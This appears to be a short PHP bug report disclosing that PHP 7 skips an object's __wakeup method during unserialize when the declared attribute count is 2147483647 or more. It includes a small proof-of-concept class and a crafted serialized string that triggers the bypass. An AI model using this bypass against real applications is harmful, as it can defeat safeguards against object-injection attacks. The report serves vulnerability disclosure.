PHP7 __wakeup Bypass vulnerability #8938
Description
Description
Date:2022-07-06
author: gqliang@Hillstone
In the test, it was found that the __wakeup bypass still exists in PHP7 and above. When the number of attributes is greater than or equal to 2147483647, the Wakeup restriction will be bypassed directly. Test example:
<?php
class whu{
public $a;
function __destruct(){
echo "destruct start\n";
echo PHP_VERSION."\n";
}
function __wakeup(){
die("no hack");
}
}
unserialize('O:3:"whu":2147483647:{s:1:"a";N;}');
?>
PHP Version
PHP 7.2.34
Operating System
No response